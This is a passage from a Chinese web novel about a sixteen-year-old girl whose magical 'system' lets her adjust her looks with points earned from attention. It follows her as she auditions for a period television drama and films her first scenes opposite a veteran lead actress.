《顶级美貌》 1、第一章 “我叫孟开颜，今年16岁，来自上海。曾参演包括《明王传》《血色前夕》在内的多部作品，拥有丰富的演出经验……” 镜子前，小姑娘嘴角微微上翘，眼眸明亮有神，声音虽谈不上铿锵有力，却也清脆响亮仿若窗户前的风铃。 她先是问好，再自我介绍，口齿清晰从容自若，语气平稳的同时也恰到好处地透露出些许激动兴奋来。 “我无比爱重巧花这个角色，我期待与她相逢。她生在旧中国长在新社会，透过她我能清晰地认识到上个世纪的社会，那朝气蓬勃的社会……妈”镜子前的姑娘眉毛忽地微皱，转头对着靠在门边的女人说，“这词不对，‘朝气蓬勃’不到位。” 女人站直，仔细琢磨，：“确实不到位，上个世纪分两截儿呢。” “哎！”女人着急了，直转悠，“改改，找另外词替换替换。” “就这样吧！”客厅男人满头大汗，猛喝口水对着娘俩说，“准备出发了，这回可得早些，陈王八那人就有毛病，一他娘的选角导演小助理，架子比导演还大，你有事儿求他非得摆足姿态提早半小时到场等他才成！” “可拉倒吧，在家说说就算了，万一一时嘴快喊人家陈王八，开颜这次又得黄。” 女人赶忙去整理东西。 孟开颜肩膀塌了塌，她认真盯着，不，是观察着镜中的自己。 不算好看，也不难看。 首先，皮肤不够白。 都说一白遮百丑，这话是对的。即使五官平常，但只要皮肤足够白皙细嫩整个人的美貌值就能连跳三层。 很遗憾，她遗传父亲的肤色，自小就与白嫩沾不上任何边，直到……去年年初。 所以说，用词谨慎地说，她不够白，而不是不算白。 接下来呢？ 眉型一般，让人欣慰的是眉毛与眼睛的距离不错，眼睛也足够出彩。 小时候，有位大导演就曾说过：“这小姑娘眼睛不错，炯炯有神，有戏，你大了还找你拍戏。” 大导演当年还是初出茅庐的小导演，对她这位剧组里临时找到的小演员十分宽容，随口一句的夸赞让她的父母记到如今，十多年来满心满眼地找关系送她进各种剧组拍戏。 戏确实拍了那么几部，但露脸的只有自我介绍中点出来的两部，两部加起来不超过十分钟。 勉勉强强，能捏着鼻子说一句也算是童星吧。童星嘛，蹭上了就总有点话题度。 再往下看，就是鼻子和嘴巴。 鼻子稍稍有点塌，说不上是婴儿肥还是什么原因，鼻尖肉肉的。 但这不是最大的问题，她脸上最大问题在鼻基底这儿。她随了她妈妈，鼻基底是有轻微的凹陷问题的，侧脸比正脸虐，所以孟开颜每次照相时都得很小心很小心。 嘴巴唇色不够好看，轮廓普通。 只是，这“普通”两字已经是她努力过后的结果了。 其实小姑娘对自己的认知很清楚明白呢，总之，她的这张脸若无意外，就不是混娱乐圈的脸。 意思就是：当个普通人绰绰有余，凭着上相和面善的优点，做个边缘配角也行，但想在娱乐圈中大杀四方，只能说不够格。 但孟开颜不气馁，混不了也得混得了，她是个意志坚定且很有主意的女孩。 “妮儿，快些。” 孟开颜的母亲，也就是简珍珠女士已经开始喊了。 “好！” 她脸上重新挂上笑容，与刚才丝毫不变，做个深呼吸，轻轻说声“加油”后，拍拍新买的蓝裙子便往房门外走。 这次试戏的是部大剧，她看上的是少年女主角的角色。 孟开颜已经用手机查过了，自己和早早定下的女主角在面容上有那么两分相似，这是她的优势。 “大热天的又出门呢？”邻居问。 简珍珠笑笑：“对呢，许姐你如今可享福，这天气家里看孙子多好。” 孟妈妈如今可是个嘴甜的人，总能根据不同的人以不同的切入点说他们爱听的话。 许姐瞬间志得意满，忙喊等等，跑回家里拿了支雪糕塞孟开颜手里：“来，开颜吃。” 孟开颜露出雀跃的神情，开心说：“谢谢许姨。” “没事！”许姐把孟开颜打量两番，心道：姑娘家女大十八变不是句假话，瞧瞧孟家的女儿就晓得了，小时丑未必真的丑。 如今长开了吧，瞧着倒是比从前清秀那么两分。只是，也不晓得孟开颜是什么时候开始长开的，仿佛就是一眨眼呢。 许姐感慨两声，赶紧关门回屋。 天热，空调费也是很贵的嘞！ 下楼后，孟开颜自觉地把雪糕递给爸爸孟明海。 雪糕太甜了，她最好少吃。 孟明海看不过眼：“吃一支没事。” 孟开颜摇摇头，有一支就有两支。 她很自律，难怪那奇奇怪怪的系统说她是合格的“大明星”。 起初她是不信的，大明星得好看对不对？可她如今越来越知晓，让人变好看这件事对系统来说如喝水那般简单。 娱乐圈中最重要的颜值，在系统这里不值得一提。 ［宿主你果然有悟性。］ 脑海里传来声音。 孟开颜现在不会一惊一乍的了，她在去年年初生日那天绑定系统，如今已过去一年半，早已适应了动不动消失时不时冒泡的系统。 下楼，沿着绿荫小路走到开阔处，孟明海给看门老大爷递支烟，然后把停在保安亭后头的车开到路边来。 天热嘛，每到下午时分保安亭后头是阴凉的区域，好多车主眼馋。奈何孟明海和老大爷是莫逆之交，总能占据这个车位。 她家小区是上个世纪的老小区，没有停车场的。在改造前甚至没电梯，连垃圾也没有专属区域的集中处理，每每在暑热天走过时总得屏神静气憋住呼吸才不至于闻到酸臭味。 改造后瞧着才像样不少。 进入车后，一家三口已经开始冒汗。 简珍珠从包里掏出纸给孟开颜擦，边擦边说：“最近白了许多，看来那珍珠面霜是有用的，改明儿让你姨再寄两瓶来。” 孟开颜乖巧应好。虽然她觉得有用的并非是面霜。 “不过防晒还是得做好。对了，妮儿你最近是不是瘦些了？也不要太瘦，这样影响发育。” 孟开颜：“没瘦，前两天测体重还胖了。” “那就好啊！唉！你姨当年有位同学进了娱乐圈，我还想着让你姨帮忙牵线联络联络，谁知那同学没拍电影电视剧，在搞啥综艺，一个小策划。” 简珍珠面露可惜，妮儿如今只能在电影电视剧里刷刷脸，哪天出名了才可能上综艺。 孟明海啧两声：“你还说我刻薄，你这话更刻薄，策划就策划，还要说小策划。” 夫妻俩你说我，我说你的，怼蛮怼，反正没两分钟又安静了。 说实在话，两人都是一路人。 私底下气昂昂，明面上怂巴巴，嘴皮子远没有心眼子厉害的那种。 简珍珠掏出水壶给孟开颜喝水，这会儿车内空调散发出的冷意渐盛，让人舒服得忍不住发出声喟叹。 车辆行驶中，孟开颜慢慢闭眼，脑海里浮现出一个游戏面板来。 在她看来这就是游戏——嗯，特殊的捏脸游戏。 2、第二章 捏脸游戏，“捏脸”二字在这款特殊的游戏上表现得淋漓尽致。 面板的左边有个小人，和孟开颜一模一样的小人。 右边是脸型与一排五官选择项，点击后又有页面显示，然后便可细致捏脸。除五官外还有肤色，以及发质身形身材。 这些都是大选择项，更神奇的是有氛围加持项，据说有了这个后随便往垃圾桶旁边一站都能吸引人的目光。但那些可贵了，是当前的孟开颜可望而不可即的东西。 哦，这里的“贵”指的并非是金钱。 自家也没什么钱。 她家虽在上海，但不算有钱。房子车子都是不动产，而家中积蓄几乎都用于她这几年的各种兴趣班以及附加开支，父母两人可谓是雷打不动的月光族。 那指什么呢？ 指星光值。 孟开颜原先搞不懂星光值是什么东西，但自从去年她参加完初中的毕业典礼以及高中的迎新生开学典礼后就晓得星光值是什么了。 是另类的吸引值。 一瞬间的吸引也算。 有越多的人将目光放在她身上，被她吸引，那么她获得的星光值就越高。 并且长期被吸引所获得的星光值明显要比短期或者某一瞬得到的星光值要高。 具体计算她搞不懂，毕业典礼获得的星光值是3点，迎新晚会获得5点，这8点她都用于调整鼻子了，于是鼻子有了微微变化，从有点塌变成马上不塌。 之后还有去年国庆晚会，今年元旦晚会、五四青年节晚会。 孟开颜简直乐疯了，很积极地参加晚会以获得星光值，更是庆幸高中学校有如此多的晚会！ 有了经验后，她怎么引人注目怎么来。 于是国庆晚会获得10点，元旦晚会获得15点，青年节晚会18点，加上国旗下的讲话、读书会上的演讲等等，总共积累了55点。 30点用于改善肤色，25点用于改善唇形。 肤色、鼻子、嘴唇，这三样稍稍改变后，孟开颜称句大变样也不为过。 若她此时成年，肯定有人叽歪她找到好的机构整容。 但她还是个中学生呢！ 中学生，只能是长开。 如今账户上还剩钢琴演出所获得的20点星光值，孟开颜把它全部加于鼻子上。 好了，这下鼻子不算塌了。 十分钟后，孟开颜打开小镜子，仔细观察一番，心里美滋滋。 没办法，那位女主角鼻子好看，她若是想演少年女主角，就必须有过得去的鼻子。 简珍珠瞧她没眯着眼休息了，便叨叨：“这次千万抓紧机会，戏份多呢，好不容易才打听到的选角消息。现在是消息还没传播广，等都晓得时，咱们被选上的概率可就低了。” 孟开颜每次给自己捏完脸后心情都很好，点点头坚定说：“我肯定会抓紧机会的。” 眼眸不自觉变得更加明亮。 她得尽最大的努力，得变美，得出名，得有钱，得星光熠熠。 俗吗？或许吧。没办法啊，基因问题，她全家都这么俗。 八月的天气能把人热得脱层皮。 上海这种地方，似乎无论何时道路上都车水马龙，没有空旷的时候。 约四十分钟后，他们到达目的地。 下车前简珍珠又细细给孟开颜检查一番，用手捋捋孟开颜的头发，点点头：“不错，保持状态。咱们不拿短处跟人比，比长处，演戏演戏，能演才重要。” 瞧瞧，拥有母爱滤镜的简珍珠也晓得自家妮儿并不是多么好看的姑娘呢。 但孟开颜演技好是真的，她这几年常去话剧团，有时打杂有时观看。和话剧团的人混熟后人家也会带你练练，时不时还能混上个小角色。 话剧团的人就说：“你是有天赋的，长大就去考话剧，来咱们团也算有个铁饭碗。” 孟开颜对着简珍珠点点头：“妈你别担心，我知道。” 说完下车，热浪扑面而来，一家三口加快速度往大楼而去。 今天试镜在这里，乘坐电梯到达12楼时楼道中已经有了不少人。 “陈哥！”孟明海脸上挂着憨厚的笑，小跑过去伸出手，“好久没见，您最近又发财了？” 听说陈王八在炒股，今天一瞧脸色尚好，最近几天朋友圈也没发疯，收益指定不错。 陈王八，哦不，陈望八笑眯眯道：“一般一般，发财这事儿哪能轮到咱们呢。” 他没多少时间寒暄，左顾右望，又问：“你闺女哪儿呢？” 孟明海冲着孟开颜招招手，简珍珠牵着孟开颜便往他们走去。 陈望八正色，将孟开颜上下打量一番，重点在脸上多观察几眼，点头：“还算过得去，进去后千万记得机灵点，戏份有点重，江导在里头盯着。” 孟开颜微笑：“好，谢谢叔叔。” “哎！是个好姑娘。多笑笑，你脸笑着要更好看。”说着，陈望八带着她登记去，简珍珠和孟明海一步不落地跟着。 登记完便是排队等待，陈望八有自己的事儿干，早早的便离开。 时间推移，人越来越多。 人来人往的，不乏有乐着进房间又耷拉着脸出来的人，孟开颜紧攥着手，抿了抿嘴，心里的紧张愈加强烈。 “25号！”有人喊。 “这儿，来了！”简珍珠比孟开颜更快反应过来，赶忙举起她的手示意。 又对孟开颜道：“别慌别怕，爸妈都在门口等着。” “我不怕。”孟开颜鼓气，“我这回肯定能发挥好。” 为这角色，她特地去读了两遍原著，仔细揣摩了角色，还找话剧团的老师排练过。前前后后准备一个月，准备得足够充足。 孟开颜深呼吸，进门。 咔哒—— 门一关，隔绝门外窸窸窣窣的声音。 她脸上挂着恰到好处的笑：“各位导演老师们好，我叫孟开颜，今年16岁……” “好了，面试小巧花的是吧，这拿去，按着上面演一段。”江白杨把本子往桌上一放，示意孟开颜去拿。 此刻房间里大约坐着六七人，眉眼间皆多少带着点儿不耐烦，虽然没表现出来，但孟开颜敏感地接收到大家都想睡觉的信号。 夏天的下午，确实容易让人昏昏欲睡。 孟开颜并不气馁，虽然她字斟句酌，反复推敲的自我介绍就这么无疾而终。 她脸上微笑不变，接过本子，快速将本子上的片段浏览一遍。 剧是年代剧，讲述一个农村姑娘建国初期意外成为钢铁厂员工的故事。 这剧也长，跨越了这姑娘的青少年、中年以及老年时期，除去十多岁的时光外，其余时间段都是同一位女演员扮演。 演戏这事儿就是这样，演老容易演年轻却难。导演确实琢磨许久，最终还是决定另外招选小演员，选角导演自然只能麻溜地开选。 此刻，孟开颜要表演的是小巧花放羊途中偷偷蹲在学堂墙角偷听的片段。 那个年代好些乡下姑娘都不认字，而巧花有颗向学的心。她得把小巧花对知识的憧憬对生活的热情给演绎出来。 孟开颜缓缓呼吸，低头闭着眼，喉咙动了动。不到两秒，抬头，眼神出现些许变化。 江白杨第一时间发现，只见这小女孩坐在墙角边，头微微倾斜，眼神专注却又没有聚焦到某处，时而还踮着脚轻轻往前挪动几厘米。 有些意思，他想。 不说演得好不好，这小女孩进入状态的速度就值得夸赞一二。 更深的说，她会控制。 重要的是她熟悉原著，一看就是准备得非常充足的，否则没办法把这节剧本拿到手就晓得怎么去表达。 有无天赋还不确定，但态度端正足够努力这是能瞧出来的。 “挺板正的一姑娘。”江白杨身后有人小声点评，“该是学过跳舞的，盘条靓顺。” 江白杨不禁轻轻点头，他换个坐姿，开始观察这位小演员。 得益于经常在剧团排练，孟开颜并没有多少“表演羞耻感”，她善于在舞台上表达自己，全方位展示自己，从而让剧团其他人帮忙指正，这是她此刻的优势。 但问题很快到来。 孟开颜正全身心投入表演中，她悄悄竖起耳朵，似乎在很用力地听讲。 不过一会儿，仿佛被吓到般抬头。表情没有惊讶，没有害怕，是愣的。 对，双手环抱住膝盖，头仰着，脸愣着。 “这是在表演被发现的时候。”江白杨心里有数，他轻轻点头，眉头却慢慢蹙起。 “台词记得吗，说两句？”他道。 孟开颜仿若未闻，下一秒又自然而然地开口：“老师，我坐这儿听你讲课。” “为何坐外头呢？”有人接话，“读书该进教室来读。” “我得放羊。” “因为放羊，所以没法儿读书么？” “不，因为放羊才能来读。” “停——” 江白杨坐直了，轻咳两声：“就先这样，你出去吧。” 孟开颜起身，鞠个躬。 转身瞬间，江白杨喊住，问：“对了，你家长在不在，能接受其他角色吗？” 孟开颜这下是真愣住了。 她看过原著，有名有姓的角色中适合她的好像只有少年女主角。 但她反应快：“家长在，能接受。” 好的，够机灵。 江白杨笑笑，在她简历上打个勾。 3、第三章 “妮儿怎么样？” 才出门，简珍珠便迫不及待问。 孟开颜难得地露出她这个年龄才有的不稳重，脸上略带着点兴奋，走到无人的楼梯间时才说：“我觉得还好，但给我的角色估计不是小巧花。” “那演谁？” “不知道。”孟开颜也好奇。 孟明海舒气，安慰道：“不管能不能选上，不管演的是谁，反正咱们尽力而为了。别的事没办法掌控，多想多受罪呢。” 简珍珠嘀咕：“说的倒轻松。这次这部戏可不同，是大导演，还好多老戏骨，摆明是奔着精品剧去的。” 孟开颜没说话，她在琢磨着江导的意思，心里把原著中的女性角色都盘一遍，渐渐地心里有了猜测。 面试还没完，越往后的人越急躁，生怕里面的人不耐烦了。 江白杨忍着哈欠又面了三个，等屋里面试的16岁姑娘走后把手里的本子一扔，靠在椅背上歪头问身后的顾倩：“群姐和陈导怎么说？到底哪几个可以。” 方群是这部剧的女主角，用国内的分法来说她属于大青衣。 她出道早，第一部女主剧播放时才20岁，早年出道时网络并不发达，但依靠卫视平台打出知名度，如今10多年过去，她也成了有好几部爆剧傍身的老戏骨，在业内颇有地位。 只是这几年流年不顺，因为同组演员出了事儿，辛辛苦苦拍的剧竟然没一部是能安生播出的，这次作为投资方加主演的方群实在担忧剧组又闹幺蛾子，便开始插手剧组重要角色的选角。 因着少年巧花戏份颇重，所以对这个角色的人选很上心。 顾倩没回答，把刚刚那位姑娘面试过程发给方群和陈导才道：“3号，18号，21号，其他的就没说了。” 说着信息提示音响起，顾倩低头看，道：“哦，群姐又说了，25号，就是那扎着麻花辫的姑娘也还行。陈导也觉得这姑娘不错。” 江白杨急躁地翻翻手里资料，思索片刻对助理道：“巧花不用再看了，既然群姐满意21号小姑娘的话那就她了。” 顾倩：“25号算了？陈导说她好。” 江白杨摇头：“25号演戏很灵，是这些里最突出的，我想让她演翠翠。” 顾倩惊讶：“翠翠？” 江白杨：“是觉得她太小了吗？” 顾倩点头。翠翠是剧本后期出现的角色，巧花的侄女，虽然出场时是18岁，但戏份可一直到22岁呢，人设还挺复杂。 江白杨坐直身体：“16岁，也够了。翠翠是走失后回来的，瘦瘦小小的才符合，后期妆容给化成熟些。” 说完，继续面试。 门外的孟开颜没敢走，站在角落，眼睛时不时往门看。 旁边的简珍珠心里越来越没底，绞着两只手的手指，手肘碰碰孟明海，眉头微皱低声说道：“你去问问老王，都快两个小时了，说让咱们留下，咋还没动静。” 孟明海抬手看眼手表：“别着急嘛，就剩那几个了。能拿到角色，就是等两天都行。” 说着拍拍她，“孩子都比你沉得住气。” 简珍珠深呼吸几下，好歹把心头那股子燥意给压下去了。 都怪这办公楼，缺钱还是怎么的，走廊空调开的这么高。 随着时间推移，周遭安静许多。 很快，最后一个面试者也从房间里出来。孟开颜脸上不禁露出期待。 果然，没过多久顾倩开门，对着走廊里的人说道：“3号，7号，18号，21号……” 孟开颜呼吸凝滞。 “25号，36号，49号，52号还有64号。”顾倩对着众人道，“各位不好意思啊，耽误大家时间了。除以上外，其他的人可以离开了。” 简珍珠笑得灿烂，揽着孟开颜：“妮妮，这回有你。” 会议室。 简珍珠把合同认真读完，打开笔盖，签下自己的名字。 顾倩收好其中一份合同，交代道：“之后有工作人员加您微信，开颜的开工时间，还有一些注意事项会通过微信告知您。” 简珍珠：“行，麻烦顾小姐您了，谢谢啊。” “哎没事儿，改天见。” 太阳落山，天已暗。 火红的晚霞倒映在江面，浮光掠金连绵不绝，引得许多人架着相机到江边拍摄美景。 车从桥上过，孟开颜靠在车窗上，江景被斜拉索分隔成一块块，如播放电影的大屏幕。 她下定决心，一定要演好翠翠。 —— 沉浸入角色中是段很奇妙的过程。 孟开颜拒绝了简珍珠提出的给她找表演老师的建议，把原著读了一遍又一遍后，独自待在房间、站在镜子前开始试图去把自己变成翠翠。 翠翠是什么样的人？ 四岁的时候跟着姑姑巧花出门放羊被拐子拐走，巧花找回她时她已经18岁了。 大概是因祸得福，走失的那段岁月里翠翠其实并未吃什么苦。 她在火车上被公安解救，因着说不清楚家的地址，就被城市里的一对无子女的教师夫妻给领养了。 从四岁到十二岁这段时间，翠翠过的是幸福日子。 可十二岁那年她迎来了人生的第二个转折点，养母的去世给她带来巨大打击，养父再娶则是第二重打击。 翠翠又过上了苦日子，生活的变故使得她性格格外尖锐，原著说，她如同一个刻薄的刺猬。 孟开颜看着镜子里的自己，眼睛里的平和慢慢淡去，眉头微皱，眼神变得尖锐。 “不对……”定定盯着镜子里的自己看了几秒钟后孟开颜喃喃道。 她沉思片刻，眼神多了几分防备。随即，脸部肌肉也随之变化，更为紧绷。 孟开颜依旧有点不满意，她应该减减体重的，翠翠必定是瘦的，是顽强的草，不可能是丰腴的花。 剧团的杨苏叶老师曾跟她说过，创作的初阶阶段是模仿。不是模仿同类型的创作者，而是模仿具体的、真实的人。这需要敏锐的观察力。 比如说演盲人，很多演员在表演之前，都会通过观察盲人的生活方式和行为动作去塑造角色。毫不客气地说，只要模仿到五分精髓，那这人物就算立住了。 要是在过程中捕捉到盲人的内心渴望和精神世界，就能把人物给演活。 实在没有途径接触到相关人群，那就只能去看看有没有纪录片。 孟开颜打开电脑，搜索相关纪录片。 找不到具体类型的，就多看几部稍微沾点边儿的。 一个月过去，孟开颜跟入了魔一样。 她神态开始变化，走路时腰板挺得更直，说话时也带上了原著中翠翠的方言腔调。 就连简珍珠和孟明海都明显看出了她的不对劲。 简珍珠上下打量孟开颜两眼，点点头：“看着还挺像的，像啥我忘了，但中央八套好多让人恨得牙痒痒的角色就跟你现在很像。” 孟明海补充一句：“是感觉像，都怕妮妮你下一秒要刺我两句。” 孟开颜开心了：“说明我现在的状态去演翠翠肯定能过关。” 现在国内童星多着呢，不缺她这个年龄段的女演员，没签公司就必须要做到演技出众，这样导演和对戏的演员才能记住你，下回有什么合适的戏才会想起你。 简珍珠早已加了剧组统筹冯元义的微信，今日一大早冯元义就发信息来，说是明儿就能进组了。 实际上这部戏在十天前就已经开机，孟开颜特意去微博看了眼剧组的人员配置。怎么说呢，可以说是“豪华”至极。完全算得上是国内电视剧的顶级配置了，摆明了奔着做大剧、精品剧去的。 明天进组，孟开颜今天就得出发。 简珍珠：“行李不要整太多，衣服带两三套就行。冯元义说你的戏会比较集中，半个多月的时间就能拍完，我已经跟学校请好假了。不过之后大概率是还得补拍的，咱们到时候再请就好。” 孟开颜点点头，快速把行李整好。 半个多月的戏已经是她迄今为止拍过最长时间的戏。 孟明海还得去上班，只有简珍珠一人带着孟开颜去剧组。 剧组离得近，就在南京，倒是大大方便了孟开颜。母女两人中午坐高铁出发，下午两点就到了剧组。 “这是简姐您和开颜的房间，双床房，咱们加个微信，之后有啥问题可以发我微信。”工作人员说道。 简珍珠粗粗看了眼房间，点头：“好嘞。” 等人走后，她又细细看了看：“剧组还挺有钱的，妮儿你说那些主演的房间该有多大？” 孟开颜仔细想想：“得是大套房吧。” 简珍珠羡慕：“真好啊，难怪都挤破脑袋往这个圈子里钻呢。” 母女两休整一天。翌日，简珍珠带着孟开颜前往剧组。 她只是小角色，到了就直接拉去化妆，根本没有试妆环节。 孟开颜这一个月瘦了得有八斤，妆一化，这会儿看着真有点骨瘦如柴的感觉在了。 “不错，跟翠翠很像。”导演陈曼点点头，显然对孟开颜很满意。外形是贴上了，可见有下过苦功夫。 在剧组里一向以强硬形象示人的陈曼对未成年的小姑娘还是有些许温情的，打量完孟开颜后拍拍她，温和道：“去旁边等着吧，等会儿就该你了。” 孟开颜“哎”了声，很自觉地站到场外去。等了得有十来分钟，女主角方群终于出场。 4、第四章 “群姐。” “群姐早上好。” 方群从房车上下来，手上端着杯咖啡，助理跟在后头。 简珍珠观察能力格外强悍，她总是能在短时间内准确的判断出某位明星好不好相处。 不着痕迹地观察了方群小半小时，简珍珠微微放下心。 性格底色如何尚不知道，但她对工作人员是个正常态度，说明大部分情况下还是好相处的。闺女和女主角的对手戏多，女主角好相处就再好不过了。 随着女主角的到来，片场的运转如同加上发条般渐渐加快。 “开机。” “64a场，3镜1次。” 场记板合上，拍摄正式开始。 “砰——” 巧花手里的水瓢摔在地上，从屋里推门而出激动道：“你说什么，翠翠找到了？” “找到了找到了！警察刚刚……” “咔！等等，”导演陈曼举着喇叭说，“哪来的警察，本儿上写的是公安。” 饰演巧花小弟的刘凌云赶紧道歉：“不好意思陈导，不好意思群姐。” 方群收起外放的情绪，安慰道：“没事儿，刚拍戏都这样，准备准备咱们继续。” “哎，好嘞。” 于是方群重新回屋里，再次冲出去，这回情绪外放得要比头回好，孟开颜隔得几米远都能感受到她的那股儿焦急。 简珍珠揽着孟开颜低声道：“那男生是电影学院大三生，在组里风评不太好，刚刚听个摄影说他进组后就一直去找林编剧。” 这部剧的编剧是林清，她是国内知名的编剧，产出过相当多的好剧本。 同业务能力一同出名的还有感情生活，不过编剧算是幕后人员了，除了部分业内的人，其他人也不怎么晓得这事。 孟开颜倒是听剧团的老师说过，此刻就忍不住小小的“哇”了声。 简珍珠摇摇头：“那男孩太急功近利了，这部剧投资大，从导演到主角，个个都是大牌，林编哪里能那么容易给他加戏。” 孟开颜：“有可能不是为这部戏。” 简珍珠想了想：“也对，不过林编看不看的上他还不晓得呢。这圈子里最不缺漂亮的男孩女孩了，有能力的能站稳脚跟，没能力的就跟那沙滩上沙子堆的城堡一样，海水一来就垮了散了，到头来才会晓得靠谁都不如靠自己。” 刘凌云业务能力一般，这条愣是七八遍才勉强过。 后面孟开颜明显能感觉到镜头的偏移，原本该他的焦点，都被放在旁边演员的脸上。 这一条里，镜头已经无意识的放弃他了。 接下来的戏倒是很顺畅，方群基本带着节奏走，陈曼眉头都平了。 很快，孟开颜上场。 孟开颜打招呼：“方老师好，我叫孟开颜，在咱们戏里饰演翠翠。” 方群点头，笑笑道：“我看过你面试的戏，很不错。” 孟开颜抿唇笑道：“谢谢方老师。” “嘿！”方群拍拍她肩膀，“笑大点儿，把两排牙露出来，小姑娘就得大大方方的。” 瞬时间，孟开颜脸颊发红。 陈曼拿着剧本走过来：“别逗小孩儿了，方群你等会儿引着小孟点儿，小姑娘一上场就是重头情绪戏，不太好搞。” 方群：“得嘞。” 陈曼转身对孟开颜道：“小孟你也别紧张，先找找状态，找到感觉后入戏就很快了，我听白杨说过你，他说你演技很不错。” “好的导演。”孟开颜正色道。 陈曼大概是真的怕孟开颜头场戏搞不定，特意教孟开颜走位。 “方群从巷口跑过来的时候你不能动，你得直勾勾的看着她懂不，翠翠你现在其实是埋怨巧花的。但眼神也不能太外露，你才到家里，不晓得啥情况的时候会有自保的心态。就跟那猫一样，刚到陌生的环境是谨慎的，晓得没危险了才开始上蹿下跳。” “同时你还得呈现出个劲劲儿的状态，你岁数小，伪装得没那么好，是能被人看出来的。” 孟开颜点点头：“明白了。” 道路组很快就把现场给布置好，孟开颜来到指定位置，深呼吸，开始她在这部剧的第一场戏。 — 自从杨巧花把家搬到巷子后，巷子就热闹好多，隔三差五的总能整出些新鲜事儿。 连带着附近的派出所“业务”都多起来，杨家都要成所里常客了。 多数都是鸡毛蒜皮的小事儿，不过今天倒是出了件大事。 啥事呢？据说被杨巧花丢了的侄女儿找着了。 那孩子叫翠翠，杨家大哥大嫂每回上门找巧花讨要钱时都打着要去找翠翠的由头，明明平时精明有原则的巧花在此时总会服软给钱。 时间一久，巷子里的人也看出来找孩子只是杨家哥嫂的借口，巧花为什么一次次掏钱？ 杨家哥嫂说翠翠是被巧花搞丢的，有时拿的钱不够多，气急时还会说翠翠是被巧花给卖了的，否则那时候的巧花怎么就在城里找着工作了？哪里会有那么巧的事。 巧花为这事儿气哭过好几回，哪里会不知道兄嫂的心思，只是每年翠翠走失的那天，她又总会念叨是自己对不住翠翠，被人劝说后稍微强硬点儿的心又软了，兄嫂一来问就又给钱了。 久而久之，巷子人也就不劝了。一个愿打一个愿挨，劝也是白劝。 但巧花人缘好，大家私底下都盼着翠翠那孩子赶紧被找到，否则巧花得被她兄弟家赖上一辈子。 所以巷子里的人猛一听翠翠被找到，都扎堆的往派出所跑去看热闹。 未见其人，却听足了她的故事，大家伙儿很是好奇传说中的翠翠是个啥样的人。 怎么说呢？看完之后绝大多数人都在心里嘀咕，和自己想象得不太一样。 听多了翠翠的悲惨故事，对她的第一印象就是苦兮兮，得和晒干了的黄花菜一样。 可面前这姑娘，确实瘦成竹竿，但腰板却比那竹竿还要直溜。 还有那眼睛，瞧着就不好惹，说句不客气的话，像狼崽子。 就在众人讨论面前这位翠翠是否真的是巧花侄女儿时，巧花一路跑到派出所。 翠翠……哦不，孟开颜，被强大冲击力惊得直接出戏了。 她自认在这行有天赋，也足够努力。可没有哪一刻比此刻更清晰地认知到自己所谓的天赋和努力是如此的不堪一击。 方群并未停下等孟开颜调整状态，导演同样没喊咔，即便孟开颜此时处于发懵状态。 孟开颜身后的摇臂摄影机缓慢抬升，在机械的精密运转中摄影机的焦点对准方群。 “翠翠，就是翠翠！” “巧花”将“翠翠”的衣袖撸起，在看到手臂上熟悉的伤疤时泪如雨下。 这伤疤是翠翠三岁摔在火钳上时留下的，形状特殊，“巧花”这辈子都忘不了。 她用手摩挲，嘴唇颤抖泣不成声，孟开颜甚至能听到她牙齿碰撞的声音。 泪水从通红的眼眶中连串落下，滴落在孟开颜的手背上。孟开颜下意识地手肘回缩，垂眼躲避方群那灼热的眼神。 “翠翠是我呀，你这么多年到哪儿去了，我对不起你……我对不起你，没看紧你！” 她声泪俱下，旁边的群演被感染得都忍不住红了眼。 陈曼不愧是大导演，像这种极耗费精力体力的情绪戏能一次过是最好的，这种时候片场的协调就得到位了。 几台的摄影机共同工作，陈曼坐在监视器后，重点看孟开颜。 陈曼笑出声：“这姑娘呆住了。” 助理：“还挺厉害，呆但是不傻。知道没喊咔眼神不能乱飘。” 陈曼：“哎，就得是这样。一呆，更接近翠翠了。方群故意的，她现在老是靠这一套对付年轻演员。像刚刚，那谁……那小刘就没接住她的戏，她一回一回逼得人家认真去演，这回是来个小硬茬接住了。” 助理：“群姐也是怕了。” 陈曼没再继续话题，起身喊了咔，这条顺利过，保一条时依旧顺利，顺利到孟开颜在散场后整个人还是懵的。 “小孟厉害啊，你这也算开门红，第一场戏就一条过。”饰演公安的杨达很开心，大中午的太阳晒得要死，谁也不乐意在太阳底下一条一条的磨。 孟开颜僵硬的身体慢慢松缓，接过简珍珠给的水猛吸一口，长长吐出气：“我刚刚都要吓死了，方老师太厉害了，根本接不住她的戏。” 杨达：“方老师最佳女主角都拿两个了，你这岁数要是能接住她的爆发戏，还跟她演个有来有回那你不得成怪物了。” 能勉强接住就不错了，导演看着也满意。这几年好些年轻演员的戏看得人真是一肚子鬼火，杨达想到这里就不由得叹口气，他下一场得跟那小刘搭，还特么是户外戏。 孟开颜的第二场戏很快开始，许是她配合到位的原因，方群这场戏稍微收着点儿了，甚至还会毫无痕迹的把偏移了机位的她引到机位前。 不得不承认好演员真的能控制整个片场，孟开颜在方群手下就跟那提线木偶似的，很多时候她的情绪动作，甚至表情都受她的引导。 因着这个，她被咔了好多回。 “小孟，你眼神不对，你怕巧花做什么，你这会儿该是恨不得跟她干起来，你不能躲啊。” “小孟用点力，没吃饭吗，你用力推，把你方老师屁股推青了她也不会怪你的。” “小孟平日里是不是没发过疯？你情绪太稳定了这不行，你拿出要提刀和方老师同归于尽的气势来，东西使劲儿砸不要怕，又不要你赔钱你怕什么……” 短短几天时间孟开颜就被折磨得不轻，晚上睡觉做梦时梦到的都是陈曼抬着摄影机喊她拿刀砍人。 5、第五章 好剧组确实能给演员带来巨大帮助。 孟开颜能感觉到这个剧组从导演到群演，大多都在认认真真做事。几位常年混迹于“快消剧”的演员们在这种环境中也暂且压下了浮躁的心。 “一部剧最重要的是班底。”简珍珠说，“我今儿跟杨达聊了会儿，才晓得这年头的剧组能乱到啥地步。男主角自带编剧，女主角也自带编剧，甚至男二女二也凑热闹要请编剧加戏，再好的剧本都得被毁了。” 又一天的拍摄结束，孟开颜泡完澡躺在床上，简珍珠正给她按摩。 “杨达还说陈导和禾苗影视签了三部剧，不出意外的话，后面两部一部古装一部现代。这事儿咱们得记紧咯，到时候别错过面试。” 她又继续道，然后拿起一旁的玻璃罐，用滴管滴几滴茶油到孟开颜的后背上，最后大力揉开。茶油活血化瘀，正是拍了两天动作戏的孟开颜最需要的。瞧着闺女乌青乌青的皮肤，简珍珠心疼得直抽抽。 孟开颜忍着痛，把头埋到枕头中，闷闷地应了声“嗯”。 